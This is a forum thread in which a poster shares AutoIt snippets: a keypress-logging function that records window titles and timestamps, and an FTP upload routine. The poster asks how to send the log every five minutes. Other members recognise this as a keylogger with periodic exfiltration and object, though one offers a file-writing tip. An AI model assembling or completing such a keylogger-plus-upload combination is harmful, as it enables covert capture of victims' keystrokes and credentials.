Sign in to follow this  
Followers 0
108Stylez

Writing and uploading every XX minutes.

7 posts in this topic

#1 ·  Posted (edited)

Guys, I've been working a script to write something to a file and one to upload the file to FTP. Well the biggest part is done but I got one problem. It will only save the data to the file when you close the program and I need it to save it for example every 5 minutes. I don't know if I've done it good as below.

Sleep(50)
Func _LogKeyPress($what2log)
$window=wingettitle("")
if $window=$window2 Then
    FileWrite($file,$what2log)
    sleep (100)
Else
    
$window2=$window
   FileWrite($file, "<br><BR>" & "<b>["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
   sleep (100)
   Endif
EndFunc

FileClose($file)

And the 2nd one is for making a file upload to my FTP server. I used the ftp.au3 type thing from from some person I found on this forum. I can't remember his name though.

#include "FTP.au3"

    $server = 'myserver.ftp.org'
    $username = 'myusername'
    $pass = 'mypasss'
    
    Global $INTERNET_FLAG_PASSIVE = 0x08000000
    Global $FTP_TRANSFER_TYPE_UNKNOWN = 0x00000000
    Global $FTP_TRANSFER_TYPE_ASCII = 0x00000001
    Global $FTP_TRANSFER_TYPE_BINARY = 0x00000002


    $Open = _FTPOpen('MyFTP Control')
    $Conn = _FTPConnect($Open, $server, $username, $pass, 21, 1, $INTERNET_FLAG_PASSIVE) 
    $Ftpp = _FtpPutFile($Conn, 'C:\whateverfile.xxx', 'whateverfile.xxx',$FTP_TRANSFER_TYPE_BINARY)
    $lasterror = DllCall("kernel32.dll","int","GetLastError")
    $Ftpc = _FTPClose($Open)

But I need to make it so that it will only upload every 5 min. Not only when you open or close it. Thanks in advance all! :whistle:

Edited by 108Stylez

Share this post


Link to post
Share on other sites



#3 ·  Posted (edited)

Guys, I've been working a script to write something to a file and one to upload the file to FTP. Well the biggest part is done but I got one problem. It will only save the data to the file when you close the program and I need it to save it for example every 5 minutes. I don't know if I've done it good as below.

Sleep(50)
Func _LogKeyPress($what2log)
$window=wingettitle("")
if $window=$window2 Then
    FileWrite($file,$what2log)
    sleep (100)
Else
    
$window2=$window
   FileWrite($file, "<br><BR>" & "<b>["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
   sleep (100)
   Endif
EndFunc

FileClose($file)
For starters, I don't understand your question,

and on another note, I am leary of what its is you are trying to do with that first code, I know that I've seen that '_LogKeyPress()' function and '$what2log' variable name before.

EDIT: Found it...

_IsPressed Function

Notice the function at the bottom of the first code in that link...

'_LogKeyPress()'

Oh, and what a coincidence, you want an FTP mailer too?

So you can key log somebody and have it FTP you the log every 5 minutes?

Am i the only one who finds this suspicious?

Edited by Paulie

Share this post


Link to post
Share on other sites

Why do this always sound so keylogging like? And there isn't a way to make an effecient keylogger in AutoIt either. It will either use up too much CPU while being on games and stuff and it will miss alot of things if you type fast.

So basiccly: CRAP

Share this post


Link to post
Share on other sites

You can use FileWrite alone instead of FileOpen and FileClose with it. Then it will always write the results. Maybe AutoIt needs a FileFlush method?

Share this post


Link to post
Share on other sites

#6 ·  Posted (edited)

And there isn't a way to make an effecient keylogger in AutoIt either.

First of all, thats not true. But that does indicate that you have tried...

Second of all, It 'sounds so keylogging like' because you took the function straight from a keylogger that you found, and are trying to implement an automatic FTP transfer. I dunno about anyone else, but thats sounds like a malicious code combination in the makings.

Edited by Paulie

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0